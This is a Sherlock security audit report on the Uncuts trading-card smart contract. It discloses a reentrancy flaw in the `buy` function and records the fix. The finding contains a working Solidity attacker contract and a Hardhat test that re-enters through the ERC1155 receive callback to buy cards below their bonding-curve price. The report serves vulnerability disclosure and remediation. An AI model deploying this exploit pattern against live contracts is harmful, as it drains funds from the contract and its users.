SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	1v1 Best Efforts
Prepared for:	Uncuts
Prepared by:	Sherlock
Lead Security Expert:	bughuntoor
Dates Audited:	April 29 - May 2, 2024
Prepared on:	May 13, 2024

Introduction

Fantasy-like Trading Card Game where you collect Farcaster creators, make teams, and compete for a $DEGENprizepool.$

Scope

Repository: rekt-interactive/uncuts-trading-card-contract

Branch: main

Commit: 1c8fc11e2278c335700489c66eb998a981b16533

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
0	1

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

bughuntoor 0xRobocop

Issue H-1: Malicious users can drain the contract's funds by buying cards at cheaper prices using reentrancy

Source: https://github.com/sherlock-audit/2024-04-uncuts-judging/issues/3

Found by

0xRobocop, bughuntoor

Summary

A reentrancy vulnerability in the `buy` function allows a malicious user to purchase multiple cards at a reduced price, exploiting the pricing sequence that depends on card supply.

Vulnerability Detail

The price of a card depends on the current supply that card has. Specifically, the price grows using the following arithmetic sequence: `(1, 2, 4, 7, 11, ...)`. The price of the first card after the release is `1` and the price of the second card after the release is `2`. So, if you want to buy the first two cards after the release you will need to pay `3`. However, by reentering the `buy` function, a malicious user can buy as many card as he wants (up to the gas limit) at the price of the first card that is buying, that is, without incrementing the price of the subsequent cards. The reentrancy is possible because the `_mint` function of the `ERC1155` contract makes a callback to the receiver.

To showcase the issue, the following coded PoC is based on the most simple case. The attacker contract wants to buy the first two cards after the release, which means that it will need to pay a price of `3` (multiplied by the base price). But, it will end up paying only `2`.

Under `contracts.Reentrancy_Attack.sol` paste the following contract (it performs the attack):

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface Uncuts {
  function buy(address to, uint256 id, uint256 amount, uint256 maxSpentLimit)
↪  external returns(uint256, uint256, uint256, uint256);
}
```

```
contract Reentrancy_Attack is ERC1155Holder {

  Uncuts public uncuts_contract;
  ERC20 public payToken;

  bool public reentrant;

  constructor(address _uncutsContract, address _payToken) {
      uncuts_contract = Uncuts(_uncutsContract);
      payToken = ERC20(_payToken);

      payToken.approve(_uncutsContract, type(uint256).max);
  }

  function buy_card(uint256 id, uint256 amount, uint256 maxSpentLimit) external {
    uncuts_contract.buy(address(this), id, amount, maxSpentLimit);
  }

  function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
  ) public virtual override returns (bytes4) {

      if (!reentrant) {
        reentrant = true;
        uncuts_contract.buy(address(this), 1, 1, type(uint256).max);
      }

      return this.onERC1155Received.selector;
  }

}
```

Then, paste the following test:

```
it.only("Should buy two cards with reentrancy", async function () {
      const {
        uncutsTradingCard,
        payToken,
        otherAccount,
        protocolReleaseCardFee
      } = await loadFixture(deployTradingCardFixture);
```

```
  // Deploy attacker contract.
  const attack_contract = await ethers.deployContract("Reentrancy_Attack", [
    uncutsTradingCard.target,
    payToken.target,
  ]);

  // The first card is released.
  await uncutsTradingCard.releaseCardTo(otherAccount.address)

  // Prices for buying the first card after the release.
  const priceWithoutFeesOneCard = await uncutsTradingCard.getBuyPrice(1,1);
  const priceWithFeesOneCard = await
↪ uncutsTradingCard.getBuyPriceAfterFee(1,1);

  // The price of buying the first two cards after the release. Do no take
↪ into account fees since they do not stay in the uncuts contract.
  const priceWithoutFeesTwoCards = await uncutsTradingCard.getBuyPrice(1,2);

  // Fund the attacker contract with only twice the price (with fees) for
↪ the first card.
  payToken.transfer(attack_contract.target,
↪ BigInt(Number(priceWithFeesOneCard)*2))

  // Perform the attack.
  await attack_contract.buy_card(1, 1, priceWithFeesOneCard);

  // Attacker contract ended up buying 2 cards.
  const balanceAttackContract = await
↪ uncutsTradingCard.balanceOf(attack_contract.target, 1);
  expect(balanceAttackContract).to.equal(2);

  // Uncuts contract only received the price for the first card twice.
  // (1 + 1) instead of (1 + 2) as per the bonding curve.
  const tokenBalanceUncutContract = await
↪ payToken.balanceOf(uncutsTradingCard.target);
  expect(tokenBalanceUncutContract).to.equal(priceWithoutFeesOneCard +
↪ priceWithoutFeesOneCard);

  console.log('Price for 2 cards after release: ' +
↪ priceWithoutFeesTwoCards);
  console.log('Amount paid to uncuts contract:  ' +
↪ tokenBalanceUncutContract);
})
```

Impact

Users can buy cards at discounted prices which has the consequence of allowing the attacker to make a profit by selling the cards at their real prices at the expense of the contract's funds.

Code Snippet

https://github.com/sherlock-audit/2024-04-uncuts/blob/main/uncuts-trading-card-contract/contracts/UncutsTradingCard.sol#L525

Tool used

Manual Review, Hardhat tests.

Recommendation

- Rearrange the order of operations in the `buy` function, ensuring that the `_mint` call occurs after all state updates.
- Implement reentrancy guards.

Discussion

saike

https://github.com/rekt-interactive/uncuts-trading-card-contract/pull/1

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rekt-interactive/uncuts-trading-card-contract/pull/1

spacegliderrrr

Fix looks good, `nonReentrant` modifier added and CEI is now followed.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.